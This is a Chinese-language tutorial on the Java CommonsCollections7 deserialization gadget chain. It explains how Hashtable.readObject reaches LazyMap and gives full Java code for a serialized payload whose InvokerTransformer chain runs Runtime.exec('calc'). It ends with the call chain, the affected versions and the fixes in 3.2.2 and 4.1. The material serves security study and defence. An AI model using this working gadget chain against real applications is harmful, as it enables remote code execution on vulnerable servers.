CC7 依旧是寻找 LazyMap 的触发点
- CC6使用了 HashSet
- 而CC6使用了 Hashtable
JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml
文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
Hashtable - kick-off
Hashtable
与 HashMap
十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
HashMap
继承AbstractMap
,而Hashtable
继承Dictionary
,可以说是一个过时的类- 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现
Hashtable
的key-value
不允许为 null 值,但是 HashMap 则是允许的- HashMap会将
key=null
的实体放在index=0
的位置
- HashMap会将
Hashtable
线程安全,HashMap
线程不安全
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?
答案是肯定的
readObject
Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut
方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
reconstitutionPut
reconstitutionPut
调用了 key 的 hashCode 方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
...
}
这个调用逻辑是与 HashMap
差不多的
攻击构造
攻击调用代码与 CC6 HashMap
几乎一模一样,不了解的读者可以看看之前发的文章:
JAVA反序列化深入学习(八):CommonsCollections6-CSDN博客
区别仅仅在于换成了 Hashtable
来触发
恶意代码主体
public void CC7WithHashtable() throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashtable = new Hashtable<>();
Transformer[] transformers = GenTransformerArray();
// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});
// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");
hashtable.put(entry, "neolock");
//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
writeObjectToFile(hashtable, fileName);
readFileObject(fileName);
}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {
// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
return transformers;
}
总结
以上就是 CC7 链分析的全部内容了,最后总结一下
利用说明
用 Hashtable
代替 HashMap
触发 LazyMap
方式,与 CC6 HashMap
几乎一致
Gadget 总结
- kick-off gadget:
java.util.Hashtable#readObject
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform
- chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
Hashtable.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
CC链总结
利用条件
- CC1、CC3、CC5、CC6、CC7是
Commons Collections
<= 3.2.1 中存在的反序列化链 - CC2、CC4是
Commons Collections4 4.0
中存在的反序列化链 - 同时还对JDK的版本有要求,测试版本为1.7和1.8
修复方式
官方是怎么修复漏洞的?
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2
3.2.2
- 新版代码中增加了⼀个方法
FunctorUtils#checkUnsafeSerialization
,用于检测反序列化是否安全 - 如果开发者没有设置全局配置
org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常 - 这个检查在常见的危险Transformer类(
InstantiateTransformer
、InvokerTransformer
、PrototypeFactory
、CloneTransformer
等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources
4.1
4.1版本的修复方式又不一样
4.1中,这几个危险Transformer类不再实现 Serializable 接口
也就是说,他们几个彻底无法序列化和反序列化了
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(九)- CommonsCollections7链